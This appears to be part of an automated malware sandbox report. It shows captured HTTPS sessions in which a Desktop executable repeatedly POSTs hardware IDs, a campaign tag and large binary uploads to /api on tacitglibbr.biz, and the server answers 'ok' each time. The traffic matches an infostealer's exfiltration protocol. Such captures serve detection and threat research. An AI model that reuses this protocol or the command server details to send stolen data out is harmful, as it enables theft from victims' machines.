50 72 6f 68 59 7a 42 37 68 31 4c 68 53 52 57 47 67 74 Data Ascii: CAvRiGp+9V3x5OihDYv1KmmRepjUvLHOLGs0sDLOTl/J3vSZC08xKOEFDSV4y/KfGJFKiGW84P5NaxVEproPz4jKsVgaHnGZpZSp1UifF4vs9T7oZFgEWh8aVYT2/k67WV7xaK5LxVnVBMklqG+3S3hRiuil7PGefUsVtIa6Xy/oakF4un4hPREAmVSMCnMZGUEKKGHd9T+JC5VwM65P/3iKgRi6fsEJVUTJJYkvdxtp0ProhYzB7h1LhSRWGgt
2024-12-16 14:25:12 UTC	1369	IN	Data Raw: 4a 6e 35 71 6b 48 6f 64 5a 57 5a 46 47 69 2f 4a 39 6f 4c 46 64 39 74 55 50 6b 6b 2b 7a 67 71 45 62 58 46 33 71 74 50 72 4d 39 79 69 66 35 50 4a 56 79 51 77 48 30 6b 4c 41 70 7a 48 32 6a 41 2b 38 68 31 37 57 48 71 62 75 67 48 78 56 61 4b 50 6b 2f 4a 75 67 55 63 6a 6b 36 31 58 4a 5a 77 6d 62 56 35 76 75 5a 37 79 66 47 75 36 2b 45 34 41 46 6f 59 6a 2b 62 6b 42 73 71 76 50 74 6e 65 49 32 6b 4b 37 6a 42 5a 5a 4a 52 74 49 65 77 50 6b 78 36 64 78 54 37 6f 56 4d 67 45 57 78 67 75 55 4f 45 44 58 30 70 75 54 43 74 6c 47 51 35 4c 78 48 33 78 35 62 30 67 6a 41 75 48 4b 6a 6e 52 75 74 6c 31 36 48 49 39 2f 33 70 46 5a 46 64 62 58 4b 78 59 75 31 48 49 43 7a 39 56 6d 45 58 55 65 63 56 35 61 2f 50 2f 47 41 58 66 61 34 48 59 68 64 33 70 37 2b 51 77 4d 36 35 4d 48 34 67 71 Data Ascii: Jn5qkHodZWZFGi/J9oLFd9tUPkk+zgqEbXF3qtPrM9yif5PJVyQwH0kLApzH2jA+8h17WHqbugHxVaKPk/JugUcjk61XJZwmbV5vuZ7yfGu6+E4AFoYj+bkBsqvPtneI2kK7jBZZJRtIewPkx6dxT7oVMgEWxguUOEDX0puTCtlGQ5LxH3x5b0gjAuHKjnRutl16HI9/3pFZFdbXKxYu1HICz9VmEXUecV5a/P/GAXfa4HYhd3p7+QwM65MH4gq
2024-12-16 14:25:12 UTC	1369	IN	Data Raw: 70 41 50 52 42 68 76 63 45 4a 4b 2f 4b 66 48 49 48 72 79 54 57 38 4d 4c 34 70 65 41 5a 57 52 73 6f 2f 58 74 6e 4c 67 65 75 4a 72 78 46 70 39 51 54 6f 52 42 77 4c 45 78 76 73 39 46 6c 38 45 56 67 43 4b 76 6b 4b 59 62 47 79 4b 52 39 2f 57 43 71 41 65 58 36 63 4d 62 6c 6c 39 66 67 6b 65 50 76 7a 2f 78 69 56 33 32 30 78 4f 41 47 66 43 51 35 67 73 52 4f 66 47 6e 72 4e 7a 39 44 73 69 39 70 41 50 52 42 68 76 63 45 4a 4b 2f 4b 66 48 49 48 72 79 54 57 38 4d 4c 34 70 65 41 5a 57 52 73 6f 2f 58 74 6e 4c 67 65 79 59 72 53 4e 4b 39 67 58 4a 46 65 6a 76 68 6e 6f 4d 39 54 37 6f 34 64 6d 43 53 68 6d 50 35 6b 44 53 4b 38 74 4b 50 4d 6d 68 4b 49 71 75 4d 44 67 42 4e 75 6e 46 65 42 36 57 47 6d 67 46 4b 41 74 33 79 41 55 36 48 57 2f 67 4d 52 4c 4f 54 77 36 73 7a 33 51 64 54 Data Ascii: pAPRBhvcEJK/KfHIHryTW8ML4peAZWRso/XtnLgeuJrxFp9QToRBwLExvs9Fl8EVgCKvkKYbGyKR9/WCqAeX6cMbll9fgkePvz/xiV320xOAGfCQ5gsROfGnrNz9Dsi9pAPRBhvcEJK/KfHIHryTW8ML4peAZWRso/XtnLgeyYrSNK9gXJFejvhnoM9T7o4dmCShmP5kDSK8tKPMmhKIquMDgBNunFeB6WGmgFKAt3yAU6HW/gMRLOTw6sz3QdT
2024-12-16 14:25:12 UTC	1369	IN	Data Raw: 6c 35 48 6c 52 44 4f 76 32 6e 78 31 31 32 44 6b 31 72 51 48 71 47 65 2f 6c 63 44 4f 75 54 35 36 59 75 2f 45 73 71 6a 2f 68 4c 52 51 51 65 4c 45 4a 61 2f 4b 65 4c 42 58 62 7a 42 42 59 42 61 37 39 32 2f 57 45 31 68 74 75 62 39 6a 37 6b 53 77 5a 72 61 4f 49 4e 5a 57 5a 45 53 73 66 4a 31 70 35 6f 65 76 6f 5a 6a 2f 6a 44 7a 31 36 35 59 41 55 36 6a 2b 66 65 79 6b 53 61 58 6f 2f 52 58 74 31 31 66 6b 52 44 4f 76 32 6e 78 31 31 32 44 6b 31 72 51 48 71 50 38 75 56 5a 50 49 72 75 36 34 73 79 35 55 64 37 33 71 6c 57 44 48 68 48 53 46 34 50 74 59 37 65 4d 43 36 33 47 59 2f 34 77 38 39 65 75 57 41 46 54 71 66 44 74 6d 61 77 42 67 5a 72 61 4f 49 4e 5a 57 5a 45 53 70 63 55 7a 67 4a 6b 65 72 6f 39 61 67 46 4f 68 79 50 34 44 41 30 2b 32 38 2b 75 50 37 54 53 38 35 74 55 44 Data Ascii: l5HlRDOv2nx112Dk1rQHqGe/lcDOuT56Yu/Esqj/hLRQQeLEJa/KeLBXbzBBYBa792/WE1htub9j7kSwZraOINZWZESsfJ1p5oevoZj/jDz165YAU6j+feykSaXo/RXt11fkRDOv2nx112Dk1rQHqP8uVZPIru64sy5Ud73qlWDHhHSF4PtY7eMC63GY/4w89euWAFTqfDtmawBgZraOINZWZESpcUzgJkero9agFOhyP4DA0+28+uP7TS85tUD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.50.161	443	5664	C:\Users\user\Desktop\qvkwOs4JfC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:25:14 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=44NEFHMQP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12781 Host: tacitglibbr.biz
2024-12-16 14:25:14 UTC	12781	OUT	Data Raw: 2d 2d 34 34 4e 45 46 48 4d 51 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 33 30 34 33 38 33 32 36 42 30 42 31 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 34 4e 45 46 48 4d 51 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 34 4e 45 46 48 4d 51 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 34 34 4e 45 46 48 4d 51 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --44NEFHMQPContent-Disposition: form-data; name="hwid"8230438326B0B148AC8923850305D13E--44NEFHMQPContent-Disposition: form-data; name="pid"2--44NEFHMQPContent-Disposition: form-data; name="lid"PsFKDg--pablo--44NEFHMQPContent-Disp
2024-12-16 14:25:14 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pngmhc5hhmsvafech215ngnc6f; expires=Fri, 11-Apr-2025 08:11:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ai0NF1snCrXZRXrXorOxI3fyOd28Y%2FoGlFnZoTAjUf%2Bd4qW3g8C2%2B8PjMEkw%2BVp9ASlC00wNFDf1F0uj3kSiMUgAztih94R71k0cgTTx2AcWMRVQOemA8SywgGianfFJxJI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f576fc8e843ff-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1603&rtt_var=614&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13711&delivery_rate=1764350&cwnd=216&unsent_bytes=0&cid=1ffc29d4a9bd6f70&ts=827&x=0"
2024-12-16 14:25:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:25:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.50.161	443	5664	C:\Users\user\Desktop\qvkwOs4JfC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:25:16 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SGGB08LTN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15023 Host: tacitglibbr.biz
2024-12-16 14:25:16 UTC	15023	OUT	Data Raw: 2d 2d 53 47 47 42 30 38 4c 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 33 30 34 33 38 33 32 36 42 30 42 31 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 47 47 42 30 38 4c 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 47 47 42 30 38 4c 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 53 47 47 42 30 38 4c 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --SGGB08LTNContent-Disposition: form-data; name="hwid"8230438326B0B148AC8923850305D13E--SGGB08LTNContent-Disposition: form-data; name="pid"2--SGGB08LTNContent-Disposition: form-data; name="lid"PsFKDg--pablo--SGGB08LTNContent-Disp
2024-12-16 14:25:17 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mimlcrjj14la3hcrk800grqqir; expires=Fri, 11-Apr-2025 08:11:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vmg5dv4BaL6q2eEj5AYd5DIcDP5%2B8B7%2FQ0SrWLANwWnZsSDo%2BX3iNQalgzGk3XFO%2Both23kxcq1LSm4FgdctvJpwgCmfDmrBLJgW5GGIkVrY21dkN2gITjmuk%2BT1v314tME%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f577d3d0def9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1830&min_rtt=1821&rtt_var=702&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=15953&delivery_rate=1538461&cwnd=207&unsent_bytes=0&cid=c39d0149f323b3b5&ts=1140&x=0"
2024-12-16 14:25:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:25:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.50.161	443	5664	C:\Users\user\Desktop\qvkwOs4JfC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:25:18 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AQ0EKOA9T4C3ZO9Z44 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20567 Host: tacitglibbr.biz
2024-12-16 14:25:18 UTC	15331	OUT	Data Raw: 2d 2d 41 51 30 45 4b 4f 41 39 54 34 43 33 5a 4f 39 5a 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 33 30 34 33 38 33 32 36 42 30 42 31 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 51 30 45 4b 4f 41 39 54 34 43 33 5a 4f 39 5a 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 41 51 30 45 4b 4f 41 39 54 34 43 33 5a 4f 39 5a 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --AQ0EKOA9T4C3ZO9Z44Content-Disposition: form-data; name="hwid"8230438326B0B148AC8923850305D13E--AQ0EKOA9T4C3ZO9Z44Content-Disposition: form-data; name="pid"3--AQ0EKOA9T4C3ZO9Z44Content-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-16 14:25:18 UTC	5236	OUT	Data Raw: 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6vMMZh'F3Wun 4F([:7s~X`nO
2024-12-16 14:25:19 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qnicva6uifkrsv2vjgg5a212ts; expires=Fri, 11-Apr-2025 08:11:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B6oExNdTuPMKT%2F0pvfekP9R3cpN6T8fCTEZ%2FwDJOhNTobtVHpVvAs9EEwhkttX0JYAusS1mZC44PnIl0MVtgHS8tVXuKMXCLA0bfFE%2FcTg%2Bnmkjxv7Wt10208fQkjwReQtc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f578deb6d8c41-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2022&min_rtt=1965&rtt_var=778&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21528&delivery_rate=1486005&cwnd=225&unsent_bytes=0&cid=f7122c2085c08c48&ts=983&x=0"
2024-12-16 14:25:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:25:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49710	104.21.50.161	443	5664	C:\Users\user\Desktop\qvkwOs4JfC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:25:21 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QUROMYUKA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1189 Host: tacitglibbr.biz
2024-12-16 14:25:21 UTC	1189	OUT	Data Raw: 2d 2d 51 55 52 4f 4d 59 55 4b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 33 30 34 33 38 33 32 36 42 30 42 31 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 55 52 4f 4d 59 55 4b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 55 52 4f 4d 59 55 4b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 51 55 52 4f 4d 59 55 4b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --QUROMYUKAContent-Disposition: form-data; name="hwid"8230438326B0B148AC8923850305D13E--QUROMYUKAContent-Disposition: form-data; name="pid"1--QUROMYUKAContent-Disposition: form-data; name="lid"PsFKDg--pablo--QUROMYUKAContent-Disp
2024-12-16 14:25:22 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=55udijl4g555cr9aji7octm26u; expires=Fri, 11-Apr-2025 08:12:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dAOfafBBAojjeHzTn%2FqlvA8qw6czfTPJsiBJWcrPAQ5vAHgpvuD6iObSP0XuAr5lbGEClP2uTXU23Xmx5CJW7sWcMBBfv4MATk%2F8r2y3oNUmSdSUR4cFRUg1WIWJb%2FQAXks%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f579fe9f34357-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1596&rtt_var=599&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2096&delivery_rate=1827284&cwnd=175&unsent_bytes=0&cid=6ade807b1217031c&ts=808&x=0"
2024-12-16 14:25:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	104.21.50.161	443	5664	C:\Users\user\Desktop\qvkwOs4JfC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:25:24 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6A9BWILMV1WLPNDDZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552412 Host: tacitglibbr.biz
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: 2d 2d 36 41 39 42 57 49 4c 4d 56 31 57 4c 50 4e 44 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 33 30 34 33 38 33 32 36 42 30 42 31 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 36 41 39 42 57 49 4c 4d 56 31 57 4c 50 4e 44 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 41 39 42 57 49 4c 4d 56 31 57 4c 50 4e 44 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --6A9BWILMV1WLPNDDZContent-Disposition: form-data; name="hwid"8230438326B0B148AC8923850305D13E--6A9BWILMV1WLPNDDZContent-Disposition: form-data; name="pid"1--6A9BWILMV1WLPNDDZContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: e5 c0 7f db f8 74 cf 69 52 52 40 2a ff 0e cc b5 83 34 04 b1 fe e9 0b fc d2 d8 5f 0b ed e5 5e 1b 07 87 44 58 16 fe b3 70 60 69 45 4b 8c cf 9e 92 7a 28 54 b8 98 71 d0 44 51 87 fb 51 87 64 3c 77 b8 db fa 90 17 ef a7 ff bb 21 a6 e4 44 80 1a a1 ec 5f 05 54 78 46 5b bc c4 77 7f 0d 86 ce 01 1f b3 47 0c 44 ab a9 ba 3c ff a9 b1 74 93 db 6f 23 b5 3a 6d 05 88 a5 69 85 0b fa 91 7b ff 86 54 d5 3a 8e 52 f9 44 20 3e 72 cf 33 91 ab d2 5a 40 f3 30 a8 42 8c 5d 97 5e d4 41 53 05 26 65 80 35 7b f4 67 d3 f6 54 cf e8 77 88 a9 16 1b 83 14 25 77 6c c2 0d ec 4e 44 c0 e0 0d 43 3a 7b 6b b9 93 4f 8a 39 f0 da 7b f8 b4 46 49 b0 ad 6f a8 87 1d 28 0d 9f 93 6b 11 86 46 8f 03 4a 66 6c a3 28 02 84 04 a5 50 0a 40 59 f8 49 8f 55 e7 3a 1d ec 54 d0 e2 c1 57 3d ba e0 4d b8 b7 c5 d9 3d 57 67 9e Data Ascii: tiRR@*4_^DXp`iEKz(TqDQQd<w!D_TxF[wGD<to#:mi{T:RD >r3Z@0B]^AS&e5{gTw%wlNDC:{kO9{FIo(kFJfl(P@YIU:TW=M=Wg
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: 5f b0 58 8d 9e f9 77 fe cd 66 a2 d4 6c f7 f3 e3 a5 58 8c 18 77 3f 50 bb 9d ca 57 8e 3a a2 d2 28 39 31 f3 3a 47 4a ba e7 e7 09 33 43 e1 93 37 1d 86 a9 ef 0b 32 ff fa 4c 0e c2 5c 39 9c f5 8a 5c ba 6f 4f 91 6f a3 a1 8a 5d 9e 3d 9f fb 5b 64 55 17 41 b0 4f ea 96 2e 6f b6 83 18 84 6b 73 8e ad 3c 99 d5 a5 b9 16 49 41 6f 72 a8 54 71 aa 22 41 21 ad ba 7d fa 20 43 19 61 5c 34 13 1d 67 3a 34 6e 5a c1 fb b2 2a 35 40 4d bf 2f d7 83 45 38 22 2e a4 98 f8 74 57 ed 4d c5 a9 ae 7b f8 5b 8f fa 5f 42 b8 4a a7 7d cb 37 49 30 f4 74 ad 56 34 f2 f7 d7 bf f0 92 dd b7 61 e0 ae 91 56 6d e5 80 a5 5a db 93 41 02 06 87 18 fa ac 60 9d 6c 65 45 78 fc 46 4d ec f3 75 32 43 aa 82 d1 e4 7c ca ba 69 88 38 87 ab 28 e7 e1 45 ae 57 28 eb 1f 89 1b c3 75 d7 c4 c1 42 a4 99 d4 4c c4 8a ba 23 2c ea Data Ascii: _XwflXw?PW:(91:GJ3C72L\9\oOo]=[dUAO.oks<IAorTq"A!} Ca\4g:4nZ*5@M/E8".tWM{[_BJ}7I0tV4aVmZA`leExFMu2C\|i8(EW(uBL#,
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: f5 be ca 9c 18 81 ad 39 a3 82 5b b3 4a 63 c5 c0 19 cd a0 17 3c a0 d3 e1 d7 a2 ab ec bf 7b 46 df 78 ff 15 f9 58 3e 47 74 f0 e9 58 51 09 a6 43 32 16 07 8e 54 af 5c b7 d3 d5 97 b6 83 06 be 99 9b ba 6a fc cc f7 81 34 ff 49 00 8e bb c8 d9 d3 f4 84 73 11 15 67 0c c5 0b 67 d7 8f 54 65 50 55 4e 2e fb 35 07 c3 ab de dd c0 2e 5a 8a 69 05 f0 57 6b 52 c4 b5 df bd db 0d 9c c4 4e 61 40 43 e8 ca 38 58 c0 81 71 4c 9b 03 a5 6d bd 81 75 94 ee aa ae 94 87 2f cc 21 45 1d 77 35 82 64 d7 77 80 e1 78 7a df 7d 29 ec 72 1a fb b9 bc df d7 7f 28 53 86 be c7 1d 3e ea de 2d cf 3f e6 24 f3 a9 ca 49 75 ee 99 f7 76 87 e6 00 8e 6b 93 4a ce 6c 11 a0 34 1d 94 88 6a 12 69 c8 94 00 e7 85 26 4c c3 5d ec 9a 7d fd 4e 0a 95 f0 e5 be 4f f2 32 38 73 f7 91 fc 60 8d 27 5f bd e8 d1 5a 83 eb 57 33 2b Data Ascii: 9[Jc<{FxX>GtXQC2T\j4IsggTePUN.5.ZiWkRNa@C8XqLmu/!Ew5dwxz})r(S>-?$IuvkJl4ji&L]}NO28s`'_ZW3+
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: 67 ab 39 4c 84 6f 5a ac d8 bf ab 68 05 33 66 9b 11 d5 b1 2d 8e 26 df 86 c9 bb d3 51 d8 6f 10 78 47 bc d9 4d e4 b1 09 31 5c 9f 97 72 7f 74 e7 63 03 ec d1 1a b5 f9 ce a9 a8 90 19 df fe 88 ea 76 d6 79 99 80 63 82 f7 19 bd 63 d1 1e f9 a5 8c bb b4 2f 2c 3b de 88 31 ad 11 ee 1b 3f 7b 13 4b 39 a1 fa 50 92 53 91 d5 3b 72 e3 32 f6 f7 59 38 1e 33 f4 b7 43 a7 89 fb 1b f1 8e a9 54 f3 40 2d 61 a2 06 38 9e ac ac 5a a3 be 49 c0 b5 e9 ca 2b 8e b0 e2 79 bb 65 f6 51 67 d8 c5 43 ac 56 77 6d bf 76 de c0 7e 23 5d de 63 d9 9f c1 58 d3 f2 4c 38 34 f8 3d 1b 9a c9 ea 71 8f 0c 49 0f ac bf f9 2e c6 6b f2 c2 c1 e0 59 3f d6 97 0a 75 fc f6 b1 56 cf c2 6e a2 21 c7 23 e8 6b cc 91 23 08 f1 2a c4 c3 89 2d 05 b9 6b 1f 3f c1 c1 3e d5 93 e9 17 34 c9 37 a5 ec 67 62 1f 47 a9 d0 cd ea 8c a4 42 Data Ascii: 